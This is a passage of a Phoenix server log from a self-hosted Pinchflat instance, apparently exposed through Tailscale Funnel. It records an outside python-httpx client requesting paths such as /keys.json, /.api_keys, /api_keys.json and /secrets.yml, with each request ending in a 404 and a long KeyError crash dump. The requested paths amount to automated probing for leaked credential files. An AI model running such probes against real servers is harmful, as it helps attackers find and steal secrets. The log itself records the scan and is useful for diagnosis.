{{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 133, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tokens (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tokens.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 133, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12433.0>, params: %{}, path_info: ["tokens"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/tokens.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0-1I2tRkBjoAAKQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, (truncated) 14:08:11.029 [info] GET /keys.json 14:08:11.031 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=893.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:11.032 [debug] QUERY OK source="settings" db=0.8ms idle=791.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:11.032 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:11.034 [error] #PID<0.12434.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 134) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /keys.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/keys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 134, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12434.0>, params: %{}, path_info: ["keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/keys.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Ad3pRRtHIgAAKQR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/keys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 134, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/keys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 134, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12434.0>, params: %{}, path_info: ["keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/keys.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Ad3pRRtHIgAAKQR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, (truncated) 14:08:11.607 [info] GET /.api_keys 14:08:11.608 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1016.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:11.610 [debug] QUERY OK source="settings" db=0.4ms queue=0.5ms idle=1016.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:11.610 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:11.611 [error] #PID<0.12435.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 135) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.api_keys ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.api_keys", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 135, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12435.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.api_keys", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1CnrF0YOGs4AAKQh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.api_keys", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 135, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.api_keys", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 135, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12435.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.api_keys", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1CnrF0YOGs4AAKQh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 14:08:12.559 [info] GET /api_keys.json 14:08:12.561 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=951.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:12.562 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=951.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:12.562 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:12.563 [error] #PID<0.12436.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 136) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /api_keys.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api_keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api_keys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 136, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12436.0>, params: %{}, path_info: ["api_keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api_keys.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1GKpvan_bL0AAKQx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api_keys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 136, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api_keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api_keys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 136, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12436.0>, params: %{}, path_info: ["api_keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api_keys.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1GKpvan_bL0AAKQx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinchflat (truncated) 14:08:13.000 [info] GET /secrets.yml 14:08:13.001 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=887.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:13.002 [debug] QUERY OK source="settings" db=0.4ms idle=873.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:13.002 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:13.003 [error] #PID<0.12437.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 137) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /secrets.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 137, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12437.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1HzyOA56AVgAAKRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 